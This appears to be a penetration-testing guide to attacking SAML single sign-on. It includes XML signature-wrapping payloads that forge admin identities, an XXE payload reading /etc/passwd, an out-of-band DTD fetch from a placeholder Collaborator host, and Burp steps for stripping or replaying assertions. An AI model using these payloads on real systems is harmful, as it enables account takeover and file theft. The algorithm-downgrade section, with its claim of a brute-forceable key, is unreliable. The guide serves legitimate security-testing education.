Web

SAML Attacks

SAML assertion attacks: XML signature wrapping (XSW), XXE in SAML, unsigned assertion acceptance, comment injection, Base64 manipulation, signature stripping, and IdP impersonation. Full Burp workflow included.

What is SAML

Security Assertion Markup Language (SAML) is used for Single Sign-On (SSO). An Identity Provider (IdP) authenticates the user and issues a signed XML assertion. The Service Provider (SP) trusts the assertion if the signature is valid.

Attack surface: the SP’s signature validation logic — if it can be tricked into accepting a forged or tampered assertion, authentication is bypassed.


Detection

Step 1 — Identify SAML in use

Look for:

  • Login redirects to a separate URL (/sso/saml, /auth/saml, /Shibboleth.sso)
  • Responses with SAMLResponse parameter (Base64-encoded)
  • POST requests to /saml/acs (Assertion Consumer Service)

In Burp Proxy, filter for SAMLResponse in parameters.

Step 2 — Decode and inspect the assertion

Right-click the SAMLResponse value in Burp → Send to Decoder → Base64 Decode.

Or:

echo "BASE64_ENCODED_SAML" | base64 -d | xmllint --format -

Check:

  • What attributes are in the assertion (NameID, email, roles)
  • Whether there is a <Signature> element
  • Whether the signature covers the full assertion or just part of it
  • The NotOnOrAfter timestamp (is it enforced?)

Step 3 — Test signature validation

Modify the NameID (user identifier) value, re-encode, and submit:

# Decode
echo "BASE64" | base64 -d > saml.xml
# Edit the NameID value to admin@example.com
# Re-encode
base64 -w 0 saml.xml

Submit the modified assertion. If the SP accepts it → no or broken signature validation.


Exploit 1: Signature Wrapping (XSW)

The most powerful SAML attack. The SP validates the signature over one element, but processes a different element the attacker controls.

XSW Pattern 1 — duplicate signed element

<Response>
  <Assertion ID="signed_id">   <!-- attacker controlled, unsigned -->
    <NameID>admin@target.com</NameID>
  </Assertion>
  <Assertion ID="original_id">  <!-- original, still signed -->
    <NameID>user@target.com</NameID>
    <Signature>...</Signature>
  </Assertion>
</Response>

The signature validates the second assertion (original). The SP processes the first assertion (attacker’s) because it appears first.

XSW Pattern 2 — signature in wrong location

Move the <Signature> element outside of the assertion it covers:

<Response>
  <Assertion ID="evil">
    <NameID>admin@target.com</NameID>
  </Assertion>
  <Signature>...valid signature over different content...</Signature>
</Response>

Tool: SAML Raider (Burp extension)

  1. Install SAML Raider from BApp Store.
  2. Intercept the SAML assertion in Proxy.
  3. SAML Raider auto-detects and decodes the assertion.
  4. Use XSW tab to automatically generate all 8 XSW variants.
  5. Submit each and check for authentication as admin.

Exploit 2: XXE in SAML

SAML assertions are XML — if the SP’s XML parser processes external entities:

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<samlp:AuthnRequest>
  <saml:Issuer>&xxe;</saml:Issuer>
</samlp:AuthnRequest>

Or OOB via DTD:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://COLLABORATOR/evil.dtd"> %xxe;]>

Include in the SAML request (AuthnRequest) or response — some SPs parse external entities.


Exploit 3: Comment Injection in NameID

Some parsers handle XML comments differently:

<NameID>admin<!--attacker-->@example.com</NameID>

The XML parser sees admin@example.com after stripping the comment. The signature was computed over admin<!--attacker-->@example.com. If the SP strips comments before processing but after validation → NameID becomes admin@example.com.


Exploit 4: Signature Stripping

Simply remove the <Signature> element entirely from the assertion and re-submit. If the SP doesn’t require a signature → assertion accepted without validation.

# Edit saml.xml to delete the <Signature>...</Signature> block
# Re-encode and submit

Exploit 5: Replay Attack

SAML assertions have a NotOnOrAfter timestamp. If the SP doesn’t enforce it or doesn’t track used assertion IDs:

  1. Capture a valid SAMLResponse for any user.
  2. Re-submit it repeatedly.

If accepted after the expiry or in a different session → replay possible.


Exploit 6: Algorithm Confusion (rs256→hs256 analogy)

If the SP accepts SHA1 signatures when it should require SHA256:

<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>

Downgrade to a weaker algorithm, forge the signature with a shorter brute-forceable key.


Burp Suite workflow

  1. Proxy — intercept all SSO flows; filter for SAMLResponse and SAMLRequest parameters.
  2. SAML Raider (BApp) — auto-decode, modify NameID, test all 8 XSW variants with one click.
  3. Decoder — manually Base64 decode/encode SAML assertions to inspect and modify.
  4. Repeater — replay modified assertions; test stripped signatures, comment injection, XXE.
  5. Collaborator — OOB confirmation for XXE in SAML parsing.